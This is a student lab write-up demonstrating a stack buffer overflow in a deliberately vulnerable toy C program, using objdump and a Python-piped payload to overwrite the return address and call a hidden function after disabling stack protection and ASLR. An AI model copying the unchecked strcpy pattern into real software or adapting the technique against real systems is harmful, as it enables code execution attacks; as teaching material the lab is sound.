Ben Allen

ACE Using Buffer Overflow: Executing an Inaccessible Program

The following is a demonstration of a security flaw in the C strcpy() command, which could allow a user to access a normally inaccessible program, potentially causing a data breach or other security issue. In this example, I am using a buffer of 16 characters to contain a message from user input. This demonstration serves to prove that this input field can be taken advantage of to cause the variable to overflow into another essential variable in the program, and run a program that is not meant to be accessed by the user.

Compiling and initial test to ensure the buffer can be overflowed. (full code at end of write-up)

```
PS C:\Comp Sec> g++ -o stack_overflow stack_overflow.c
PS C:\Comp Sec> ./stack_overflow
Welcome to the Simple Stack Overflow Lab
Enter some text :
a
Try again. 'success' variable is 48.
```

Overflow buffer with 16 characters. Ensure the final character is ‘1’ to overflow into the value of success.

```
PS C:\Comp Sec> ./stack_overflow
Welcome to the Simple Stack Overflow Lab
Enter some text :
2222222222222221
Buffer Overflow Successful. You have changed the value of success to 1
PS C:\Comp Sec>
```

Added hidden function with no calls in any other function. I will try to arbitrarily execute this using buffer/stack overflow.

```
3  void hiddenFunc(){
4      printf("Successfully called Hidden Function\n");
5  }
```

Recompile with no stack protector with -D_FORTIFY_SOURCE =0, set randomize_va_space to 0 in the kernel. (Note: at this point I switched my terminal to Ubuntu)

```
jebungus@DESKTOP-8N9UNNK:/mnt/c/Comp Sec$ gcc -fno-stack-protector stack_overflow.c -o vulnProg -z execstack -D_FORTIFY_
SOURCE=0
jebungus@DESKTOP-8N9UNNK:/mnt/c/Comp Sec$ sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
```

use objdump to disassemble the file to find the address of the hidden function.

```
jebungus@DESKTOP-8N9UNNK:/mnt/c/Comp Sec$ objdump -d vulnProg
```

hiddenFunc address is 0x0000122d

```
00000000000011a9 <hiddenFunc>:
    11a9:       f3 0f 1e fa             endbr64
    11ad:       55                      push   %rbp
    11ae:       48 89 e5                mov    %rsp,%rbp
    11b1:       48 8d 3d 50 0e 00 00    lea    0xe50(%rip),%rdi        # 2008 <_IO_stdin_used+0x8>
    11b8:       e8 d3 fe ff ff          callq  1090 <puts@plt>
    11bd:       90                      nop
    11be:       5d                      pop    %rbp
    11bf:       c3                      retq
```

This assembly operation appears to be setting the buffer with 0x10 or 16 bytes of space before %rbp

```
  11f8:       48 8d 45 f0             lea    -0x10(%rbp),%rax
```

Use python to pipe a string of some character to overload buffer, followed by the address of hiddenFunc in hex (bytes ordered backwards because my system is little-endian)
python3 -c 'print("a"*16 + "\xa9\x11")'

```
jebungus@DESKTOP-8N9UNNK:/mnt/c/Comp Sec$ python3 -c 'print("a"*16 + "\xa9\x11")' | ./vulnProg
Welcome to the Simple Stack Overflow Lab
Enter some text :
Try again. 'success' variable is 97.
```

Use trial and error to determine how many filler characters are needed to insert address of hidden function

```
jebungus@DESKTOP-8N9UNNK:/mnt/c/Comp Sec$ python3 -c 'print("a"*23 + "\xa9\x11")' | ./vulnProg
Welcome to the Simple Stack Overflow Lab
Enter some text :
Try again. 'success' variable is 97.
Successfully called Hidden Function
Segmentation fault (core dumped)
```

Full code:

stack_overflow.c > vulnerableFunction()

```c
#include <stdio.h>
#include <string.h>
void hiddenFunc(){
    printf("Successfully called Hidden Function\n");
}
void vulnerableFunction(){
    char buffer[15];
    char success = '0';
    char input[100];
    printf("Enter some text :\n");
    scanf("%s",input);
    strcpy(buffer,input);

    if (success == '1'){
    printf("Buffer Overflow Successful. You have changed the value of success to 1");}
    else {
    printf("Try again. 'success' variable is %d. \n",success);

    }
}
int main() {
    printf("Welcome to the Simple Stack Overflow Lab\n");
    vulnerableFunction();
    return 0;
    }


```